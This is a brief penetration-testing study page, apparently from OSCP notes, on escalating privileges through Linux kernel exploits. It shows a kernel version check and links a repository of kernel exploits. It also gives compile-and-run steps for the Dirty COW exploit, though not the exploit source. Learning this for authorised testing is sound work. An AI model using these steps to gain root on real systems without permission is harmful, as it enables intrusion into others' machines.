> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/linux-privilege-escalation/kernel-exploits.md).

# Kernel Exploits

## Overview

The **Kernel** is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the **Kernel (system/core)** we become the **Kernel >:)**

{% embed url="<https://github.com/lucyoa/kernel-exploits>" %}

### Kernel version

```
uname -a
Linux debian 2.6.32-5-amd64
```

{% hint style="info" %}
Use the linux-exploit-suggester to identify kernel exploits quickly
{% endhint %}

## Dirty COW

Compile

```
gcc -pthread dirty.c -o c0w 
```

Upload and run

```
./c0w
passwd
```

<figure><img src="/files/eNsuWXUDSTsQnrJgAku4" alt=""><figcaption></figcaption></figure>
